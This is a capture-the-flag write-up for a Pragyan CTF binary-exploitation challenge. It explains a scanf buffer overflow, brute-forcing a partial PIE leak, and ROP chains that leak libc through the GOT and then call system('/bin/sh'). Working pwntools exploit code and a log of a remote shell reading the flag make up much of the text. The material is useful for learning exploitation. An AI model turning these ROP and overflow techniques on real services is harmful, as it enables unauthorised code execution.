Little Joe is lonely and has no one to play with him. So, his father built him a toy that can play hide and seek with him. However, Little Joe has lost his toy! Can you help him find it?
This challenge had a very few solves, maybe because most people gave up after the hack. Another reason is probably because when trying to get a shell with system on the server it returns segmentation fault due to an alignment problem, this is an issue I also had in a previous ctf (CSAW 2019) and the fix is pretty simple as I will explain bellow.
Extracting info
Everything is enabled besides the stack canary:
1 2 3 4 5 6 7
$ checksec gpsu [*] '/ctf/work/pwn/hideandseek/gpsu' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
From the file command we know that the binary is dynamically linked so we know it’s going to use a shared library of libc.
1 2
$ file gpsu gpsu: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2b53545d7df75c5dd56122820cf4806f2be749d3, for GNU/Linux 3.2.0, not stripped
Vulnerability
There is an obvious buffer overflow vulnerability in scanf, we also partially got a leak of the PIE address, which is necessary if we want to leak addresses from the GOT and to build a ropchain:
Writing the exploit
First thing we want to do is to get the pie address some numbers from it we already know because they’re not affected by the ALSR:
1
0xXXXXXXXX?000
The ones we already know is the last 3 which is 3 zeros, the “Xs” are leaked from the binary from those printfs but we are missing one number which is denoted with a “?”. The solution to this is to brute-force this number, a 4 bit bruteforce shouldn’t take much time even when connecting remotely.
So to form the pie address we can do this in python:
1 2 3 4 5 6 7 8
addr = '0xXXXXXXXX4000'# 8 bit brute-force (random guess of "?" with the number 4) addr = list(addr) indexes = [2,4,6,8,3,5,7,9] for i in indexes: r.recvuntil('|') addr[i]=r.recv(1).decode() r.recvuntil('|') PIE = int(''.join(addr),16)
To brute-force every try we need to put this in a loop until we get the right address, if we succeed we can leak a libc address from the GOT:
1 2 3 4 5
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret ROP_CHAIN += p64(PIE+elf.got['fgets']) # fgets@got ROP_CHAIN += p64(PIE+0x10e0) # r2 -> ?v sym.imp.puts ROP_CHAIN += p64(MAIN) # return to main r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)
The author didn’t release any libc file, because of this I used a very nice tool, from the leaked address, we can use the find command to get the right libc version:
Locally everything runs smoothly but when running at the server it always segfaults , basically our payload needs to be aligned within a 16 byte multiple, so to fix the alignment on the remote machine we can just add another rop instruction ret between BINSH and SYSTEM which in the end doesn’t do anything but will fix the alignment on the server machine:
1 2 3 4 5 6
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret ROP_CHAIN += p64(BINSH) ROP_CHAIN += p64(RET) # ret Won't work on server without this ROP_CHAIN += p64(SYSTEM) # system(rdi=&/bin/sh); ROP_CHAIN += p64(MAIN) r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)
[+] Opening connection to ctf.pragyan.org on port 17000: Done [*] 0x55df3d9c4000 ... [+] Opening connection to ctf.pragyan.org on port 17000: Done [*] 0x556cd8114000 [*] FGETS 0x7f9e7ed7bb20 [*] LIBC 0x7f9e7ecfd000 [*] Switching to interactive mode |5| |6| |d| |1| --- --- --- ---
YOU ARE HERE O --- --- --- --- |5| |c| |8| |1| --- --- --- --- $ cat bin/flag.txt p_ctf{M@p_SPac3s_h3lP_pe0pl3_N@viG@t3} $ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
defdebug(bp): script = "" PIE = get_PIE(r) PAPA = PIE for x in bp: script += "b *0x%x\n"%(PIE+x) gdb.attach(r,gdbscript=script) context.terminal = ['tmux', 'new-window'] defexploit(): global r try: r = getConn()
ifnot args.REMOTE and args.GDB: debug([0x143b]) # 0x131a
addr = '0xXXXXXXXX4000'# 4 bit bruteforce addr = list(addr) indexes = [2,4,6,8,3,5,7,9] for i in indexes: r.recvuntil('|') addr[i]=r.recv(1).decode() r.recvuntil('|')
PIE = int(''.join(addr),16) RET = PIE+0x000000000000101a# ret POPRDI = PIE+0x00000000000014d3# pop rdi ; ret MAIN = PIE+0x143c log.info('0x%x'% PIE)
ROP_CHAIN = p64(POPRDI) ROP_CHAIN += p64(BINSH) ROP_CHAIN += p64(RET) # Won't work on server without this ROP_CHAIN += p64(SYSTEM) ROP_CHAIN += p64(MAIN) r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)